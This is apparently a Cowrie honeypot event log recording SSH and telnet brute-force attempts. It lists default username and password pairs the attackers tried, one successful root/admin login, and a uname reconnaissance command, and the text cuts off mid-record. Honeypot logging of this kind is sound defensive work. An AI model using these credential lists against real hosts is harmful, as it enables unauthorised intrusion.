{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:34.624748Z","src_ip":"179.176.210.17","session":"954383cb75d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:35.115718Z","src_ip":"193.228.128.84","session":"f0043a7ce3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password123","message":"login attempt [user/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:35.271262Z","src_ip":"179.176.210.17","session":"954383cb75d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:35.686376Z","src_ip":"31.40.204.166","session":"41aa2c0c2661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.74583387374878,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:36.203275Z","src_ip":"152.42.224.71","session":"2705df3f74aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:36.425865Z","src_ip":"179.176.210.17","session":"954383cb75d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39314,"dst_ip":"10.17.0.5","dst_port":23,"session":"711deef65640","protocol":"telnet","message":"New connection: 152.42.224.71:39314 (10.17.0.5:23) [session: 711deef65640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:36.579695Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50382,"dst_ip":"159.203.135.109","dst_port":23,"session":"20a73542a06a","protocol":"telnet","message":"New connection: 176.65.139.118:50382 (159.203.135.109:23) [session: 20a73542a06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:37.476573Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39316,"dst_ip":"10.17.0.5","dst_port":23,"session":"062c16931a33","protocol":"telnet","message":"New connection: 152.42.224.71:39316 (10.17.0.5:23) [session: 062c16931a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:38.260503Z"}
{"eventid":"cowrie.session.closed","duration":42.93547058105469,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:39.820932Z","src_ip":"152.42.224.71","session":"94c98853afe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39326,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabdc264e4ae","protocol":"telnet","message":"New connection: 152.42.224.71:39326 (10.17.0.5:23) [session: eabdc264e4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:42.276712Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39342,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7847a12e598","protocol":"telnet","message":"New connection: 152.42.224.71:39342 (10.17.0.5:23) [session: d7847a12e598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:43.650547Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:43.673941Z","src_ip":"176.65.139.118","session":"20a73542a06a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39350,"dst_ip":"10.17.0.5","dst_port":23,"session":"4293d4759f93","protocol":"telnet","message":"New connection: 152.42.224.71:39350 (10.17.0.5:23) [session: 4293d4759f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:44.804661Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44554,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c3c3a1eaa6b","protocol":"ssh","message":"New connection: 31.40.204.166:44554 (159.203.135.109:22) [session: 9c3c3a1eaa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:44.986587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:44.992560Z","src_ip":"31.40.204.166","session":"9c3c3a1eaa6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:45.181143Z","src_ip":"31.40.204.166","session":"9c3c3a1eaa6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:45.595589Z","src_ip":"31.40.204.166","session":"9c3c3a1eaa6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.536994695663452,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:46.013479Z","src_ip":"176.65.139.118","session":"20a73542a06a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":56238,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e45520b0e06","protocol":"telnet","message":"New connection: 176.65.139.118:56238 (159.203.135.109:23) [session: 2e45520b0e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:46.091810Z"}
{"eventid":"cowrie.session.closed","duration":120.00164318084717,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:46.193956Z","src_ip":"152.42.224.71","session":"6b136ab13eb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:46.719632Z","src_ip":"31.40.204.166","session":"9c3c3a1eaa6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.539620876312256,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:47.743045Z","src_ip":"152.42.224.71","session":"5bf8fd136ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.79844975471497,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:52.227531Z","src_ip":"152.42.224.71","session":"0a5fd10dd10e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:52.588605Z","src_ip":"176.65.139.118","session":"2e45520b0e06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.698073863983154,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:54.789785Z","src_ip":"176.65.139.118","session":"2e45520b0e06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":49344,"dst_ip":"159.203.135.109","dst_port":23,"session":"e143bfb2fc0f","protocol":"telnet","message":"New connection: 176.65.139.118:49344 (159.203.135.109:23) [session: e143bfb2fc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:55.170753Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40714,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee6bb7f9243c","protocol":"ssh","message":"New connection: 31.40.204.166:40714 (159.203.135.109:22) [session: ee6bb7f9243c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:55.980911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:55.994301Z","src_ip":"31.40.204.166","session":"ee6bb7f9243c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:56.110866Z","src_ip":"31.40.204.166","session":"ee6bb7f9243c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:56.711229Z","src_ip":"31.40.204.166","session":"ee6bb7f9243c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45394,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd58b927a12","protocol":"telnet","message":"New connection: 152.42.224.71:45394 (10.17.0.5:23) [session: 4cd58b927a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:56.953849Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:57.047866Z","src_ip":"31.40.204.166","session":"ee6bb7f9243c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:57.050598Z","src_ip":"31.40.204.166","session":"ee6bb7f9243c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:57.406581Z","src_ip":"31.40.204.166","session":"ee6bb7f9243c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:57.420300Z","src_ip":"31.40.204.166","session":"ee6bb7f9243c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.570772409439087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:01.915330Z","src_ip":"152.42.224.71","session":"61d34aa4d8a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:02.780954Z","src_ip":"176.65.139.118","session":"e143bfb2fc0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":87.71808195114136,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:03.834090Z","src_ip":"152.42.224.71","session":"6633ba56b29f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.0275719165802,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:04.076322Z","src_ip":"152.42.224.71","session":"0a18d95751e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.589001893997192,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:05.759626Z","src_ip":"176.65.139.118","session":"e143bfb2fc0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51224,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f54fe00fbb9","protocol":"telnet","message":"New connection: 176.65.139.118:51224 (159.203.135.109:23) [session: 4f54fe00fbb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:06.025321Z"}
{"eventid":"cowrie.session.closed","duration":42.58020377159119,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:07.801394Z","src_ip":"152.42.224.71","session":"4990df2722ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55788,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e9f494e178","protocol":"ssh","message":"New connection: 31.40.204.166:55788 (159.203.135.109:22) [session: b0e9f494e178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:07.989787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:07.997743Z","src_ip":"31.40.204.166","session":"b0e9f494e178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:08.123237Z","src_ip":"31.40.204.166","session":"b0e9f494e178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:08.726496Z","src_ip":"31.40.204.166","session":"b0e9f494e178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.021851301193237,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:09.826422Z","src_ip":"152.42.224.71","session":"4293d4759f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:09.904428Z","src_ip":"31.40.204.166","session":"b0e9f494e178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.727399587631226,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:11.267090Z","src_ip":"152.42.224.71","session":"a80ac7af9adc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38048,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e1361109ac","protocol":"telnet","message":"New connection: 152.42.224.71:38048 (10.17.0.5:23) [session: e8e1361109ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:12.245731Z"}
{"eventid":"cowrie.session.closed","duration":59.433802366256714,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:13.013326Z","src_ip":"152.42.224.71","session":"d32347353611","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.590858936309814,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:14.616034Z","src_ip":"176.65.139.118","session":"4f54fe00fbb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38064,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5de7bbbf2b","protocol":"telnet","message":"New connection: 152.42.224.71:38064 (10.17.0.5:23) [session: bd5de7bbbf2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:14.661198Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":59128,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa9a44a4967b","protocol":"telnet","message":"New connection: 176.65.139.118:59128 (159.203.135.109:23) [session: aa9a44a4967b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:14.870747Z"}
{"eventid":"cowrie.session.closed","duration":39.27420258522034,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:15.853765Z","src_ip":"152.42.224.71","session":"711deef65640","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2543439865112305,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:17.124975Z","src_ip":"176.65.139.118","session":"aa9a44a4967b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":43560,"dst_ip":"159.203.135.109","dst_port":23,"session":"6db07aa03c1c","protocol":"telnet","message":"New connection: 176.65.139.118:43560 (159.203.135.109:23) [session: 6db07aa03c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:17.203915Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46984,"dst_ip":"159.203.135.109","dst_port":22,"session":"1043dac91c5c","protocol":"ssh","message":"New connection: 31.40.204.166:46984 (159.203.135.109:22) [session: 1043dac91c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:19.384653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:19.405390Z","src_ip":"31.40.204.166","session":"1043dac91c5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@